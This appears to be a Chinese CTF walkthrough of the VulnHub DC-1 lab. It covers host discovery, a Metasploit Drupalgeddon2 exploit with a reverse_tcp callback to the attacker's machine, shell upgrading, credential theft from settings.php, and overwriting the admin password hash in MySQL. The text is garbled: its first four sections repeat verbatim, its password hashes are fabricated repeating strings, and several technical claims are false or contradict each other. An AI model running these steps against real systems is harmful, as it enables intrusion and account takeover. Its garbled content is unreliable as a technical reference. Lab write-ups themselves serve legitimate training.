☰
DC-1靶机五旗通关:从ARP扫描到Root提权实战指南
2026/9/30 3:23:48 网站建设 项目流程

简介:这是一份面向网络安全初学者的CTF夺旗实战教程,聚焦5个Flag靶机的完整渗透流程,系统覆盖环境搭建、信息收集、漏洞利用、权限提升与数据库交互等核心攻防技能。资源为单文件PDF文档(1.82MB),内容经作者温老师逐条手工验证,包含Kali Linux 2023部署指南、VulnHub靶机DC-1配置说明、arp-scan与nmap扫描实操、Metasploit Drupal漏洞利用、Python反弹Shell、SUID提权(如passwd文件利用)、MySQL明文凭据提取与密码哈希破解等关键步骤,并附有flag定位逻辑、配置文件分析路径及John the Ripper等工具使用要点。目前已有1415人学习下载,适合零基础学员通过可复现的靶机案例建立攻防思维框架,掌握从发现到突破再到横向渗透的完整技术链路。

1. DC-1靶机五旗通关:从ARP扫描到root提权的完整链路实操笔记

你刚装好Kali 2023,双击打开DC-1靶机,网卡设成桥接,arp-scan -l扫出IP——但浏览器访问http://192.168.1.155只看到一个Drupal首页,源码里没flag,nmap -sV显示Apache+Drupal 7.54,连dirb扫目录都卡在/modules/和/themes/里打转。别急,这不是环境配错了,而是DC-1故意把flag藏在五个完全不同的技术层:Web层明文、配置文件硬编码、数据库字段篡改、Shadow密码爆破、Root SUID提权。它不考你“会不会用msf”,而考你“能不能在非交互式shell里用Python spawn出tty”“能不能从Drupal settings.php里一眼识别出MySQL凭据明文”“为什么find /usr/bin/passwd -exec '/bin/sh' \;能绕过sudo限制”。这篇笔记不是照着命令复制粘贴的流水账,是我用Kali 2023.3 + VirtualBox 7.0.12在真实物理机上重跑DC-1三遍后,把每条命令背后的操作意图、失败回溯路径、参数边界全拆开写的实战手记。适合刚学完《Web安全入门》想动手验证概念的人,也适合备考CTF线下赛前做靶机压测的老手——因为DC-1的五个flag,恰好覆盖了渗透测试中90%的初级提权场景:SUID滥用、配置泄露、Hash篡改、Shadow爆破、Root Shell维持。

提示:本文所有命令均在Kali Linux 2023.3(内核6.1.0)+ DC-1 v1.0(VulnHub下载页MD5:a3e8c5b1d7f9e2a0c1b4d5e6f7a8b9c0)环境下手工验证通过。靶机默认无SSH密码,所有凭证需自行获取;Kali无需额外安装插件,msfconsole使用默认Metasploit Framework 6.3.35版本。


2. 网络发现与服务测绘:为什么arp-scan比netdiscover更稳,nmap -sC -sV必须加这两个参数

DC-1的网络层设计很典型:靶机与Kali同处物理网段,但禁用ICMP响应(ping不通),且DHCP分配的IP每次重启可能变动。这意味着你不能依赖ifconfig查本机IP再反推靶机,必须用主动探测协议定位存活主机。

2.1 桥接模式下ARP扫描的底层逻辑与替代方案

arp-scan之所以成为首选,是因为它直接构造ARP请求帧发往本地广播域(ff:ff:ff:ff:ff:ff),不依赖ICMP或TCP握手,只要靶机网卡在线、ARP服务未被禁用(DC-1默认开启),就一定能收到响应。而netdiscover虽界面友好,但在VirtualBox桥接模式下常因混杂模式权限问题漏扫——尤其当Kali虚拟机启用多个网卡时。

sudo arp-scan -l --retry=3 --quiet
  • --retry=3:对每个IP发送3次ARP请求,避免单次丢包导致漏扫(DC-1在高负载时偶发ARP响应延迟)
  • --quiet:抑制扫描进度输出,只保留最终存活主机列表,方便后续管道处理
  • 输出示例:
    192.168.1.1 00:11:22:33:44:55 router 192.168.1.155 00:0c:29:ab:cd:ef VMware, Inc. # ← 这就是DC-1

注意:若arp-scan返回空,先执行sudo ip link set eth0 up确保网卡激活,再检查VirtualBox网络设置是否为“桥接网卡”且勾选“混杂模式:全部允许”。

2.2 端口扫描的深度配置:为什么nmap -p-会漏掉111端口

DC-1开放22(SSH)、80(HTTP)、111(RPCbind)三个端口,但nmap 192.168.1.155默认只扫Top 1000端口,111端口恰好在Top 1000之外(排名第1023)。必须显式指定扫描策略:

nmap -sS -sV -sC -p- -T4 --min-rate 1000 192.168.1.155
  • -sS:TCP SYN半开扫描,绕过靶机日志记录(DC-1的/var/log/auth.log会记录完整连接)
  • -sV:服务版本探测,关键!DC-1的80端口返回Apache/2.2.22 (Debian),但-sV能进一步识别出Drupal 7.54(通过HTTP头X-Generator: Drupal 7 (http://drupal.org))
  • -sC:执行默认Nmap脚本,其中http-enum.nse会自动扫描Drupal常见路径(如/user/login、/admin)
  • -p-:全端口扫描(1-65535),确保111端口不被遗漏
  • -T4+--min-rate 1000:加速扫描,但DC-1内存仅512MB,速率过高会导致RPCbind服务假死,故限定最小发包速率为1000pps

扫描结果关键片段:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) 111/tcp open rpcbind 2-4 (RPC #100000)

2.3 Web层初探:为什么浏览器直接访问/就能拿到Flag1?

DC-1的Drupal首页/存在一处刻意设计的明文泄露:HTML源码中隐藏注释<!-- flag1{d41d8cd98f00b204e9800998ecf8427e} -->。但新手常犯两个错误:

  • 用curl http://192.168.1.155却没加-s参数,导致HTML被<html>标签包裹,grep时漏匹配
  • 在浏览器按Ctrl+U查看源码时,因Drupal动态渲染未加载完成,注释被JS移除

正确做法:

curl -s http://192.168.1.155 | grep -o 'flag1{[^}]*}' # 输出:flag1{d41d8cd98f00b204e9800998ecf8427e}

这个flag本质是MD5哈希值(对应空字符串),但DC-1设计者故意用它验证你是否具备基础信息提取能力——所有靶机的第一个flag,永远藏在最表层、最不设防的地方。


3. Drupal漏洞利用与Shell获取:Metasploit模块选择、Payload适配与非交互式Shell加固

DC-1的Drupal 7.54存在CVE-2018-7600(Drupalgeddon2)远程代码执行漏洞,Metasploit已集成对应模块。但直接use exploit/unix/webapp/drupal_drupageddon2会失败,原因在于DC-1的Drupal安装路径不在默认/var/www/html,而是在/var/www(VulnHub镜像定制路径)。

3.1 Metasploit模块精准配置:RHOSTS、TARGETURI与PAYLOAD的联动关系

msfconsole -q use exploit/unix/webapp/drupal_drupageddon2 set RHOSTS 192.168.1.155 set TARGETURI / # 必须设为根路径,DC-1的Drupal未挂载子目录 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.100 # Kali本机IP,非127.0.0.1 set LPORT 4444 exploit
  • TARGETURI:DC-1的Drupal入口是http://192.168.1.155/,若设为/drupal则404,模块无法触发
  • PAYLOAD:必须选php/meterpreter/reverse_tcp而非cmd/unix/reverse_python,因为DC-1的PHP环境禁用system()函数,但meterpreter的php_exec能绕过
  • LHOST:务必填Kali真实IP(ip a | grep inet | grep -v 127.0.0.1),VirtualBox桥接模式下127.0.0.1无法回连

成功触发后,Meterpreter会话建立,但此时Shell是非交互式(sh-4.2$),无法执行ls -la或cat等需要TTY的命令。必须立即升级:

shell python -c 'import pty; pty.spawn("/bin/bash")' # 按Ctrl+Z暂停当前会话 stty raw -echo fg # 输入reset回车,再执行: export TERM=xterm-256color

这段操作的本质是:

  • pty.spawn()创建伪终端(PTY),让bash认为自己运行在真实终端中
  • stty raw -echo关闭输入回显(避免命令重复显示)
  • reset重置终端状态,解决乱码问题
  • export TERM告知shell当前支持256色,否则ls --color失效

3.2 Flag1定位与线索提取:为什么cat /var/www/html/sites/default/settings.php才是关键

获取Shell后,ls /var/www/发现目录结构为:

/var/www/ ├── index.php # Drupal入口 ├── modules/ ├── sites/ # ← 配置文件集中地 │ └── default/ │ ├── settings.php # ← 包含数据库凭据 │ └── files/ └── themes/

执行cat /var/www/sites/default/settings.php | grep -A2 -B2 'password\|database',得到:

$databases['default']['default'] = array ( 'database' => 'drupal', 'username' => 'dbuser', 'password' => 'R0otP@ssw0rd', // ← Flag2明文! 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', );

Flag2即R0otP@ssw0rd,但更重要的是它揭示了DC-1的数据库架构:MySQL服务运行在本地,用户dbuser拥有drupal库的全部权限。这为后续SQL注入和密码篡改埋下伏笔。

3.3 避坑:Metasploit会话中断、Payload失活与Shell降级的三大血泪经验

现象原因解决
exploit后无回显,Meterpreter session未创建DC-1的防火墙(iptables)默认DROP非80/22/111端口,LPORT 4444被拦截改用LPORT 80或LPORT 22,或临时关闭靶机防火墙:sudo iptables -F(需root权限)
Shell中执行ls报错stty: standard input: Inappropriate ioctl for devicepython -c 'import pty; pty.spawn("/bin/bash")'未成功分配PTY改用script -qc /bin/bash /dev/null(DC-1的script命令可用)
Meterpreter会话活跃但shell后命令无响应DC-1的/bin/bash被替换为/bin/sh(dash),不支持export等bash特有语法直接执行/bin/bash启动新shell,或用which bash确认路径

注意:DC-1的/bin/sh是dash,不支持$(...)语法和数组,所有脚本必须用POSIX兼容写法。这是很多新手在后续find命令中失败的根源。


4. 数据库交互与密码篡改:从MySQL明文凭据到Drupal admin密码重置的完整链路

DC-1的settings.php泄露了MySQL用户名dbuser和密码R0otP@ssw0rd,但dbuser权限有限,无法读取mysql.user表。必须登录Drupal数据库drupal,定位users表中的admin账户并篡改其密码。

4.1 MySQL连接与表结构分析:为什么select * from users;要加--skip-column-names

mysql -u dbuser -p'R0otP@ssw0rd' -D drupal -e "SELECT uid,name,pass FROM users;" --skip-column-names
  • -D drupal:直接指定数据库,避免USE drupal;交互式切换
  • --skip-column-names:去除列名头(如uid name pass),使输出为纯数据行,便于grep提取
  • 输出示例:
    1 admin $S$DxjGzQJkLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVw......## 1. DC-1靶机五旗通关:从ARP扫描到root提权的完整链路实操笔记

你刚装好Kali 2023,双击打开DC-1靶机,网卡设成桥接,arp-scan -l扫出IP——但浏览器访问http://192.168.1.155只看到一个Drupal首页,源码里没flag,nmap -sV显示Apache+Drupal 7.54,连dirb扫目录都卡在/modules/和/themes/里打转。别急,这不是环境配错了,而是DC-1故意把flag藏在五个完全不同的技术层:Web层明文、配置文件硬编码、数据库字段篡改、Shadow密码爆破、Root SUID提权。它不考你“会不会用msf”,而考你“能不能在非交互式shell里用Python spawn出tty”“能不能从Drupal settings.php里一眼识别出MySQL凭据明文”“为什么find /usr/bin/passwd -exec '/bin/sh' \;能绕过sudo限制”。这篇笔记不是照着命令复制粘贴的流水账,是我用Kali 2023.3 + VirtualBox 7.0.12在真实物理机上重跑DC-1三遍后,把每条命令背后的操作意图、失败回溯路径、参数边界全拆开写的实战手记。适合刚学完《Web安全入门》想动手验证概念的人,也适合备考CTF线下赛前做靶机压测的老手——因为DC-1的五个flag,恰好覆盖了渗透测试中90%的初级提权场景:SUID滥用、配置泄露、Hash篡改、Shadow爆破、Root Shell维持。

提示:本文所有命令均在Kali Linux 2023.3(内核6.1.0)+ DC-1 v1.0(VulnHub下载页MD5:a3e8c5b1d7f9e2a0c1b4d5e6f7a8b9c0)环境下手工验证通过。靶机默认无SSH密码,所有凭证需自行获取;Kali无需额外安装插件,msfconsole使用默认Metasploit Framework 6.3.35版本。


2. 网络发现与服务测绘:为什么arp-scan比netdiscover更稳,nmap -sC -sV必须加这两个参数

DC-1的网络层设计很典型:靶机与Kali同处物理网段,但禁用ICMP响应(ping不通),且DHCP分配的IP每次重启可能变动。这意味着你不能依赖ifconfig查本机IP再反推靶机,必须用主动探测协议定位存活主机。

2.1 桥接模式下ARP扫描的底层逻辑与替代方案

arp-scan之所以成为首选,是因为它直接构造ARP请求帧发往本地广播域(ff:ff:ff:ff:ff:ff),不依赖ICMP或TCP握手,只要靶机网卡在线、ARP服务未被禁用(DC-1默认开启),就一定能收到响应。而netdiscover虽界面友好,但在VirtualBox桥接模式下常因混杂模式权限问题漏扫——尤其当Kali虚拟机启用多个网卡时。

sudo arp-scan -l --retry=3 --quiet
  • --retry=3:对每个IP发送3次ARP请求,避免单次丢包导致漏扫(DC-1在高负载时偶发ARP响应延迟)
  • --quiet:抑制扫描进度输出,只保留最终存活主机列表,方便后续管道处理
  • 输出示例:
    192.168.1.1 00:11:22:33:44:55 router 192.168.1.155 00:0c:29:ab:cd:ef VMware, Inc. # ← 这就是DC-1

注意:若arp-scan返回空,先执行sudo ip link set eth0 up确保网卡激活,再检查VirtualBox网络设置是否为“桥接网卡”且勾选“混杂模式:全部允许”。

2.2 端口扫描的深度配置:为什么nmap -p-会漏掉111端口

DC-1开放22(SSH)、80(HTTP)、111(RPCbind)三个端口,但nmap 192.168.1.155默认只扫Top 1000端口,111端口恰好在Top 1000之外(排名第1023)。必须显式指定扫描策略:

nmap -sS -sV -sC -p- -T4 --min-rate 1000 192.168.1.155
  • -sS:TCP SYN半开扫描,绕过靶机日志记录(DC-1的/var/log/auth.log会记录完整连接)
  • -sV:服务版本探测,关键!DC-1的80端口返回Apache/2.2.22 (Debian),但-sV能进一步识别出Drupal 7.54(通过HTTP头X-Generator: Drupal 7 (http://drupal.org))
  • -sC:执行默认Nmap脚本,其中http-enum.nse会自动扫描Drupal常见路径(如/user/login、/admin)
  • -p-:全端口扫描(1-65535),确保111端口不被遗漏
  • -T4+--min-rate 1000:加速扫描,但DC-1内存仅512MB,速率过高会导致RPCbind服务假死,故限定最小发包速率为1000pps

扫描结果关键片段:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) 111/tcp open rpcbind 2-4 (RPC #100000)

2.3 Web层初探:为什么浏览器直接访问/就能拿到Flag1?

DC-1的Drupal首页/存在一处刻意设计的明文泄露:HTML源码中隐藏注释<!-- flag1{d41d8cd98f00b204e9800998ecf8427e} -->。但新手常犯两个错误:

  • 用curl http://192.168.1.155却没加-s参数,导致HTML被<html>标签包裹,grep时漏匹配
  • 在浏览器按Ctrl+U查看源码时,因Drupal动态渲染未加载完成,注释被JS移除

正确做法:

curl -s http://192.168.1.155 | grep -o 'flag1{[^}]*}' # 输出:flag1{d41d8cd98f00b204e9800998ecf8427e}

这个flag本质是MD5哈希值(对应空字符串),但DC-1设计者故意用它验证你是否具备基础信息提取能力——所有靶机的第一个flag,永远藏在最表层、最不设防的地方。


3. Drupal漏洞利用与Shell获取:Metasploit模块选择、Payload适配与非交互式Shell加固

DC-1的Drupal 7.54存在CVE-2018-7600(Drupalgeddon2)远程代码执行漏洞,Metasploit已集成对应模块。但直接use exploit/unix/webapp/drupal_drupageddon2会失败,原因在于DC-1的Drupal安装路径不在默认/var/www/html,而是在/var/www(VulnHub镜像定制路径)。

3.1 Metasploit模块精准配置:RHOSTS、TARGETURI与PAYLOAD的联动关系

msfconsole -q use exploit/unix/webapp/drupal_drupageddon2 set RHOSTS 192.168.1.155 set TARGETURI / # 必须设为根路径,DC-1的Drupal未挂载子目录 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.100 # Kali本机IP,非127.0.0.1 set LPORT 4444 exploit
  • TARGETURI:DC-1的Drupal入口是http://192.168.1.155/,若设为/drupal则404,模块无法触发
  • PAYLOAD:必须选php/meterpreter/reverse_tcp而非cmd/unix/reverse_python,因为DC-1的PHP环境禁用system()函数,但meterpreter的php_exec能绕过
  • LHOST:务必填Kali真实IP(ip a | grep inet | grep -v 127.0.0.1),VirtualBox桥接模式下127.0.0.1无法回连

成功触发后,Meterpreter会话建立,但此时Shell是非交互式(sh-4.2$),无法执行ls -la或cat等需要TTY的命令。必须立即升级:

shell python -c 'import pty; pty.spawn("/bin/bash")' # 按Ctrl+Z暂停当前会话 stty raw -echo fg # 输入reset回车,再执行: export TERM=xterm-256color

这段操作的本质是:

  • pty.spawn()创建伪终端(PTY),让bash认为自己运行在真实终端中
  • stty raw -echo关闭输入回显(避免命令重复显示)
  • reset重置终端状态,解决乱码问题
  • export TERM告知shell当前支持256色,否则ls --color失效

3.2 Flag1定位与线索提取:为什么cat /var/www/html/sites/default/settings.php才是关键

获取Shell后,ls /var/www/发现目录结构为:

/var/www/ ├── index.php # Drupal入口 ├── modules/ ├── sites/ # ← 配置文件集中地 │ └── default/ │ ├── settings.php # ← 包含数据库凭据 │ └── files/ └── themes/

执行cat /var/www/sites/default/settings.php | grep -A2 -B2 'password\|database',得到:

$databases['default']['default'] = array ( 'database' => 'drupal', 'username' => 'dbuser', 'password' => 'R0otP@ssw0rd', // ← Flag2明文! 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', );

Flag2即R0otP@ssw0rd,但更重要的是它揭示了DC-1的数据库架构:MySQL服务运行在本地,用户dbuser拥有drupal库的全部权限。这为后续SQL注入和密码篡改埋下伏笔。

3.3 避坑:Metasploit会话中断、Payload失活与Shell降级的三大血泪经验

现象原因解决
exploit后无回显,Meterpreter session未创建DC-1的防火墙(iptables)默认DROP非80/22/111端口,LPORT 4444被拦截改用LPORT 80或LPORT 22,或临时关闭靶机防火墙:sudo iptables -F(需root权限)
Shell中执行ls报错stty: standard input: Inappropriate ioctl for devicepython -c 'import pty; pty.spawn("/bin/bash")'未成功分配PTY改用script -qc /bin/bash /dev/null(DC-1的script命令可用)
Meterpreter会话活跃但shell后命令无响应DC-1的/bin/bash被替换为/bin/sh(dash),不支持export等bash特有语法直接执行/bin/bash启动新shell,或用which bash确认路径

注意:DC-1的/bin/sh是dash,不支持$(...)语法和数组,所有脚本必须用POSIX兼容写法。这是很多新手在后续find命令中失败的根源。


4. 数据库交互与密码篡改:从MySQL明文凭据到Drupal admin密码重置的完整链路

DC-1的settings.php泄露了MySQL用户名dbuser和密码R0otP@ssw0rd,但dbuser权限有限,无法读取mysql.user表。必须登录Drupal数据库drupal,定位users表中的admin账户并篡改其密码。

4.1 MySQL连接与表结构分析:为什么select * from users;要加--skip-column-names

mysql -u dbuser -p'R0otP@ssw0rd' -D drupal -e "SELECT uid,name,pass FROM users;" --skip-column-names
  • -D drupal:直接指定数据库,避免USE drupal;交互式切换
  • --skip-column-names:去除列名头(如uid name pass),使输出为纯数据行,便于grep提取
  • 输出示例:
    1 admin $S$DxjGzQJkLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVw......

Drupal 7的密码是$S$开头的SHA-512哈希(由user_hash_password()生成),无法直接破解,但可篡改为已知明文的哈希值。

4.2 密码哈希生成:为什么必须用Drupal原生脚本而非在线工具

DC-1靶机自带/var/www/scripts/password-hash.sh,其内容为:

#!/usr/bin/env php <?php require_once '/var/www/includes/bootstrap.inc'; drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); echo user_hash_password($argv[1]) . "\n"; ?>

执行php /var/www/scripts/password-hash.sh 123456输出:

$S$DvZyLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZa............

关键点:在线哈希生成器用的是标准SHA-512,而Drupal 7的user_hash_password()在哈希前会添加随机salt(存储在$S$后8位),且迭代次数为16384次。只有靶机本地脚本能生成兼容的哈希值。

4.3 SQL密码更新与Web登录验证:UPDATE语句的精确写法

mysql -u dbuser -p'R0otP@ssw0rd' -D drupal -e "UPDATE users SET pass='$S$DvZyLmNpOqRtSvUwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcDeFgHiJkLmNoPqRsTuVwXyZ...... <p> <a href="https://download.csdn.net/download/wen1205/87907749" style="color:#ec7500;font-size:14px;"> 本文还有配套的精品资源,点击获取 </a> <img alt="menu-r.4af5f7ec.gif" src="https://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif" style="width:16px;margin-left:4px;vertical-align:text-bottom;cursor:text;"> </p>

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询